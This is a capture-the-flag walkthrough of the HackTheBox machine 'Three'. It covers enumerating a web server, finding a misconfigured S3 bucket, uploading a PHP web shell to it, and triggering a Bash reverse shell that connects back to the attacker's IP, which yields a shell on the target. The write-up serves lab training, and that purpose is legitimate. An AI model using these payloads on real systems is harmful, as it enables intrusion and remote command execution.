CHALLENGE INFORMATION

Three LogoPlatform: HackTheBox
Collection: Starting Point
Tier: 1
Machine: Three
Released: 03/08/2022

MACHINE SYNOPSIS

Three is a very easy Linux machine featuring a website using a misconfigured AWS S3 bucket as its cloud-storage device. The machine explores web application enumeration and subdomain fuzzing to detect the hidden domain corresponding to the S3 bucket. Then it showcases using the AWS command line interface to access the vulnerable S3 bucket as well as how to exploit it by uploading and triggering a reverse shell.

Preparations

Several methods exist for connecting to the target machine; throughout this walkthrough, we utilize the provided pwnbox.

Once connected, we spawn the target machine.

Additionally – though not strictly required – we can set a local variable (available only in the current shell) containing the target host’s IP address. Once defined, we access it by prepending $ to the variable name.

user@kali:~$ rhost=<target-hosts-ip>
user@kali:~$ echo $rhost 
<target-hosts-ip>
user@kali:~$
Listing 1 - Creating a local variable, rhost, to store the target's IP address

We can remove the variable using the unset command when it is no longer needed.

user@kali:~$ unset rhost
Listing 2 - Removing the rhost variable if necessary

Task-1

Question: How many TCP ports are open?

2

We begin reconnaissance with a quick connectivity check, pinging the target four times.

user@kali:~$ ping $rhost -c 4
...
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
...
user@kali:~$
Listing 3 - Connection check

After confirming a stable connection, we proceed with a fast, all-ports TCP scan.

user@kali:~$ nmap -p- --min-rate=5000 $rhost 
...
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
...
user@kali:~$
Listing 4 - Scanning all TCP ports

The results indicate a web server is running. We examine the landing page.

Figure 1: Landing page for the The Toppers website

Figure 1: Landing page for the The Toppers website

The site appears to belong to a band. Nothing immediately stands out, so we continue with common directory enumeration.

user@kali:~$ gobuster dir -u http://$rhost/ -w /usr/share/wordlists/dirb/common.txt 
...
/.hta                 (Status: 403) [Size: 279]
/.htaccess            (Status: 403) [Size: 279]
/.htpasswd            (Status: 403) [Size: 279]
/images               (Status: 301) [Size: 317] [--> http://10.129.165.251/images/]
/index.php            (Status: 200) [Size: 11952]                                  
/server-status        (Status: 403) [Size: 279]                                    
...
user@kali:~$
Listing 5 - Running directory enumeration against the target website

The enumeration reveals nothing particularly interesting.

Task-2

Question: What is the domain of the email address provided in the Contact section of the website?

thetoppers.htb

A brief examination of the website’s Contact page reveals the answer.

Figure 2: Contact page on the target website

Figure 2: Contact page on the target website

Interestingly, whatweb also identifies the domain.

user@kali:~$ whatweb $rhost
... Email[[email protected]]...
user@kali:~$
Listing 6 - Getting a fingerprint with WhatWeb

Task-3

Question: In the absence of a DNS server, which Linux file can we use to resolve hostnames to IP addresses in order to be able to access the websites that point to those hostnames?

/etc/hosts

On the pwnbox (Parrot OS, Debian-based Linux), this file is located at /etc/hosts. Let us examine it.

user@kali:~$ cat /etc/hosts
...
127.0.1.1 htb-vwn6wdartu.htb-cloud.com htb-vwn6wdartu
127.0.0.1 localhost

# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
...
user@kali:~$
Listing 7 - Host file on our attacker machine

Before continuing, we add the newly discovered host-to-IP mapping to our hosts file.

user@kali:~$ echo -e "# three-machine host-IP-mapping \n$rhost thetoppers.htb" | sudo tee -a /etc/hosts
# three-machine host-IP-mapping 
10.129.165.251 thetoppers.htb
user@kali:~$
Listing 8 - Added host resolution for the target website

Task-4

Question: Which sub-domain is discovered during further enumeration?

s3.thetoppers.htb

Gobuster’s vhost mode facilitates virtual host enumeration on our target.

user@kali:~$ gobuster vhost --help
Uses VHOST enumeration mode
...
Usage:
  gobuster vhost [flags]
...
Flags:
...
  -u, --url string            The target URL
...
Global Flags:
...
  -w, --wordlist string   Path to the wordlist
...
user@kali:~$
Listing 9 - Help page for Gobuster's vhost module

Familiarizing ourselves with the syntax, we run the tool using a wordlist from SecLists.

user@kali:~$ gobuster vhost -u http://thetoppers.htb/ -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt 
...
Starting gobuster in VHOST enumeration mode
...
Found: s3.thetoppers.htb (Status: 404) [Size: 21]
Found: gc._msdcs.thetoppers.htb (Status: 400) [Size: 306]
...
user@kali:~$
Listing 10 - Using vhost enumeration on the target

The scan reveals two possible subdomains. We use curl to investigate.

user@kali:~$ curl s3.thetoppers.htb
curl: (6) Could not resolve host: s3.thetoppers.htb
user@kali:~$
Listing 11 - Host resolution issue

As before, we must manually add the host-to-IP resolution to our system – this time for the subdomain.

user@kali:~$ echo -e "# three-machine subdomain host-IP-mapping\n$rhost s3.thetoppers.htb" | sudo tee -a /etc/hosts
# three-machine subdomain host-IP-mapping
10.129.165.251 s3.thetoppers.htb
user@kali:~$
Listing 12 - Fixed host resolution for the subdomain

With hostname resolution configured, we query the subdomain again.

user@kali:~$ curl s3.thetoppers.htb
{"status": "running"}
user@kali:~$
Listing 13 - Running S3 bucket

Task-5

Question: Which service is running on the discovered sub-domain?

amazon s3

Searching online for “s3 subdomain {‘status’: ‘running’} service” clarifies the service identity.

Task-6

Question: Which command line utility can be used to interact with the service running on the discovered sub-domain?

awscli

A quick search leads us to the aws command. No man page is installed locally, so we consult the built-in help documentation.

AWS()    AWS()
…
NAME
    aws -
…
DESCRIPTION
    The AWS Command Line Interface is a unified tool to manage your AWS services. …
SYNOPSIS
    aws [options] <command> <subcommand> [parameters]
…
    Use aws command help for information on a specific command. Use aws
    help topics to view a list of available help topics. The synopsis for
    each command shows its parameters and their usage. Optional parameters
    are shown in square brackets.
…
OPTIONS
…
Listing 14 - AWS help page

Task-7

Question: Which command is used to set up the AWS CLI installation?

aws configure

Running aws configure help provides detailed information regarding this command’s purpose.

CONFIGURE()    CONFIGURE()
…
NAME
    configure -
—
DESCRIPTION
    Configure AWS CLI options. If this command is run with no arguments,
    you will be prompted for configuration values such as your AWS Access
    Key Id and your AWS Secret Access Key.
    …
CONFIGURATION VARIABLES
…
Listing 15 - Help page for 'aws configure'

Task-8

Question: What is the command used by the above utility to list all of the S3 buckets?

aws s3 ls

As with the previous task, we use the built-in --help option – this time with the s3 command: aws s3 help.

…
AVAILABLE COMMANDS
    o cp
    o ls
    o mb
    o mv
    o presign
    o rb
    o rm
    o sync
    o website
…
Listing 16 - Help page for 'aws s3'

Then we examine the s3 ls command specifically: aws s3 ls help.

LS()    LS()
…
NAME
    ls -
DESCRIPTION
    List S3 objects and common prefixes under a prefix or all S3 buckets.
    Note that the –output and –no-paginate arguments are ignored for this
    command.
    See ‘aws help’ for descriptions of global parameters.
SYNOPSIS
    ls
    <S3Uri> or NONE
    [–recursive]
    [–page-size <value>]
    [–human-readable]
    [–summarize]
    [–request-payer <value>]
OPTIONS
…
Listing 17 - Help page for 'aws s3 ls'

Attempting to list S3 objects under the s3.thetoppers.htb domain initially produces an error.

user@kali:~$ aws --endpoint-url http://s3.thetoppers.htb/ s3 ls
Unable to locate credentials. You can configure credentials by running "aws configure".
user@kali:~$
Listing 18 - AWS configuration issue

We configure AWS with sample data to resolve this.

user@kali:~$ aws configure
AWS Access Key ID [None]: test
AWS Secret Access Key [None]: test
Default region name [None]: test
Default output format [None]: test
user@kali:~$
Listing 19 - Configuring AWS with sample data

Retrying the listing command now succeeds, revealing one S3 Bucket available in the subdomain.

user@kali:~$ aws --endpoint-url http://s3.thetoppers.htb/ s3 ls
... thetoppers.htb
user@kali:~$
Listing 20 - Listing available S3 buckets

The aws s3 ls help page provides a helpful example for listing bucket contents.

Example 2: Listing all prefixes and objects in a bucket
…
    The following ls command lists objects and common prefixes under a
    specified bucket and prefix. In this example, the user owns the bucket
    mybucket with the objects test.txt and somePrefix/test.txt. The Last-
    WriteTime and Length are arbitrary. Note that since the ls command has
    no interaction with the local filesystem, the s3:// URI scheme is not
    required to resolve ambiguity and may be omitted:
…
    aws s3 ls s3://mybucket
…
    Output:
…
        PRE somePrefix/
    …    88 test.txt
…
Listing 21 - Helpful example from the 'aws s3 ls' help page

Applying this approach to list objects in the available bucket proves successful.

user@kali:~$ aws --endpoint-url http://s3.thetoppers.htb/ s3 ls s3://thetoppers.htb
                           PRE images/
...                         0 .htaccess
...                      11952 index.php
user@kali:~$
Listing 22 - Enumerating objects in the S3 bucket

We observe that the bucket’s root directory matches the website’s root directory.

Task-9

Question: This server is configured to run files written in what web scripting language?

php

Interestingly, the Wappalyzer Firefox extension fails to identify the programming language on the landing page – http://thetoppers.htb.

However, upon modifying the URL to http://thetoppers.htb/index.php – which we discovered during directory busting in Task-1 – the extension correctly identifies PHP as the web scripting language.

Submit The Flag

Question: Submit root flag

<redacted-flag>

We now synthesize the intelligence gathered throughout the previous tasks. Our key findings include:

  • The S3 bucket’s root directory matches the website’s root directory
  • The web server executes PHP files

Therefore, we attempt to upload a PHP file that the target system can execute.

The following simple PHP script executes (on the target system) whatever command is passed via the cmd URL parameter.

<?php system($_GET["cmd"]); ?>
Listing 23 - PHP web shell

We write this code to a file for later upload to the bucket. It is crucial to save it with the .php extension; otherwise, the server will not execute it.

user@kali:~$ echo '<?php system($_GET["cmd"]); ?>' > test.php
user@kali:~$ cat test.php 
<?php system($_GET["cmd"]); ?>
user@kali:~$
Listing 24 - Preparing the web shell

Next, we attempt the upload. The aws s3 cp help page provides useful examples.

…
EXAMPLES
    Copying a local file to S3
    The following cp command copies a single file to a specified bucket and
    key:
        aws s3 cp test.txt s3://mybucket/test2.txt
    Output:
        upload: test.txt to s3://mybucket/test2.txt
…
Listing 25 - Help page for 'aws s3 cp'

Following these examples, we upload our PHP script – the test.php file.

user@kali:~$ aws --endpoint-url http://s3.thetoppers.htb/ s3 cp test.php s3://thetoppers.htb/test.php
upload: ./test.php to s3://thetoppers.htb/test.php                
user@kali:~$
Listing 26 - Uploading the web shell

With the upload successful, we verify functionality by triggering the shell.

user@kali:~$ curl http://thetoppers.htb/test.php?cmd=whoami
www-data
user@kali:~$
Listing 27 - Triggering the web shell

The web shell executes commands as expected. Our next step is to upload a reverse shell. We use the following simple Bash reverse shell:

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.46/4321 0>&1
Listing 28 - Simple Bash reverse shell

We write this to a file and save it as a Bash script – revshell.sh – with the .sh extension.

user@kali:~$ cat revshell.sh 
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.46/4321 0>&1
user@kali:~$
Listing 29 - Preparing the reverse shell

Then we upload it.

user@kali:~$ aws --endpoint-url http://s3.thetoppers.htb/ s3 cp revshell.sh s3://thetoppers.htb/revshell.sh
upload: ./revshell.sh to s3://thetoppers.htb/revshell.sh          
user@kali:~$
Listing 30 - Reverse shell upload

We start a Netcat listener in a new terminal to catch the incoming connection.

user@kali:~$ nc -lnvp 4321
...
Ncat: Listening on :::4321
Ncat: Listening on 0.0.0.0:4321
...
Listing 31 - Starting Netcat listener

We must now trigger the reverse shell. We attempt to run bash revshell.sh on the target via our web shell. Initially, this produces an error.

user@kali:~$ curl "http://thetoppers.htb/test.php?cmd=bash revshell.sh"
curl: (3) URL using bad/illegal format or missing URL
user@kali:~$
Listing 32 - URL formatting issue

The error occurs because the URL contains an unencoded space. We replace the space character with its URL-encoded equivalent, %20.

user@kali:~$ $curl "http://thetoppers.htb/test.php?cmd=bash%20revshell.sh"
Listing 33 - Triggering the reverse shell

The command appears to hang, producing no output. However, switching to our Netcat listener terminal reveals a successful connection.

Ncat: Connection from 10.129.165.251.
Ncat: Connection from 10.129.165.251:58772.
bash: cannot set terminal process group (1527): Inappropriate ioctl for device
bash: no job control in this shell
www-data@three:/var/www/html$ whoami
whoami
www-data
www-data@three:/var/www/html$
Listing 34 - Catching the reverse shell

The flag file is not present in our current directory, so we search the filesystem. Ultimately, we locate it at /var/www/flag.txt.

www-data@three:/var/www/html$ cd ..
cd ..
www-data@three:/var/www$ ls
ls
flag.txt
html
www-data@three:/var/www$ cat flag.txt	
cat flag.txt
<redacted-flag>
www-data@three:/var/www$
Listing 35 - Enumerating the target machine for the flag

Congratulations – we have completed the challenge. All that remains is to terminate the target box (if not terminated automatically) and proceed to the next challenge!